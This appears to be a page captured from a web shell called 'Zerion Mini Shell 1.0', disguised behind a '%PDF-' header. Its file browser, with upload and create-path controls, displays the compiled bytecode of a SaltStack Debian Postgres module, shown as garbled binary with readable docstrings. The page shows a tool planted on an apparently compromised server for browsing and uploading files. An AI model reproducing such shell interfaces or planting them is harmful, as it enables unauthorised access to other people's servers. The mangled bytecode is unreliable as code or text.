%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/modules/deb_postgres.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
eje�Z
dZd�Zdddddd�Zed	�Zdd
�Zded�Zd�ZdS(
uU
Module to provide Postgres compatibility to salt for debian family specific tools.

i(tabsolute_importtprint_functiontunicode_literalsN(tsixupostgrescC@s#tjjjd�rtStdfS(uB
    Only load this module if the pg_createcluster bin exists
    upg_createclusteruHpostgres execution module not loaded: pg_createcluste command not found.(tsalttutilstpathtwhicht__virtualname__tFalse(((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pyt__virtual__sumainc
C@stjjjd�g}|r:|dtj|�g7}n|rS|d|g7}n|rl|d|g7}n|r�|d|g7}n|||g7}djg|D]}tj|�^q��}t	d|dt
�}	|	jd	d
�d
krtj
dj||��t
S|	S(uI
    Adds a cluster to the Postgres server.

    .. warning:

       Only works for debian family distros so far.

    CLI Example:

    .. code-block:: bash

        salt '*' postgres.cluster_create '9.3'

        salt '*' postgres.cluster_create '9.3' 'main'

        salt '*' postgres.cluster_create '9.3' locale='fr_FR'

    upg_createclusteru--portu--localeu
--encodingu	--datadiru ucmd.run_alltpython_shelluretcodeiu+Error creating a Postgresql cluster {0}/{1}(RRRRRt	text_typetjointpipestquotet__salt__R	tgettlogterrortformat(
tversiontnametporttlocaletencodingtdatadirtcmdtctcmdstrtret((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pytcluster_create s"+
cC@s�tjjjd�dg}tddjg|D]}tj|�^q/��}|jdd�dkrxt	j
d�nt|d�}|r�|S|j�S(	u�
    Return a list of cluster of Postgres server (tuples of version and name).

    CLI Example:

    .. code-block:: bash

        salt '*' postgres.cluster_list

        salt '*' postgres.cluster_list verbose=True
    u
pg_lsclustersu--no-headerucmd.run_allu uretcodeiuError listing clustersustdout(
RRRRRR
RRRRRt_parse_pg_lsclustertkeys(tverboseRRRtcluster_dict((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pytcluster_listKs5cC@sdj||�t�kS(u�
    Checks if a given version and name of a cluster exists.

    CLI Example:

    .. code-block:: bash

        salt '*' postgres.cluster_exists '9.3'

        salt '*' postgres.cluster_exists '9.3' 'main'
    u{0}/{1}(RR$(RR((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pytcluster_existsas
cC@s�tjjjd�g}|r.|dg7}n|||g7}djg|D]}tj|�^qK�}td|dt�}|j	dd�dkr�t
jdj||��nd	j||�|d
<|S(u8
    Remove a cluster on a Postgres server. By default it doesn't try
    to stop the cluster.

    CLI Example:

    .. code-block:: bash

        salt '*' postgres.cluster_remove '9.3'

        salt '*' postgres.cluster_remove '9.3' 'main'

        salt '*' postgres.cluster_remove '9.3' 'main' stop=True

    upg_dropclusteru--stopu ucmd.run_allRuretcodeiu+Error removing a Postgresql cluster {0}/{1}u$Successfully removed cluster {0}/{1}uchanges(
RRRRR
RRRR	RRRR(RRtstopRRRR((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pytcluster_removeqs+c
C@s�i}xt|j�D]f}|j�\}}}}}}}	it|�d6|d6|d6|d6|	d6|dj||�<qW|S(u=
    Helper function to parse the output of pg_lscluster
    uportustatusuuserudatadirulogu{0}/{1}(t
splitlinestsplittintR(
toutputR#tlineRRRtstatustuserRR((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pyR �s!
(t__doc__t
__future__RRRtloggingRtsalt.utils.pathRtsalt.extRt	getLoggert__name__RRR
tNoneRR	R$R%R'R (((s=/usr/lib/python2.7/site-packages/salt/modules/deb_postgres.pyt<module>s$	
& 

Zerion Mini Shell 1.0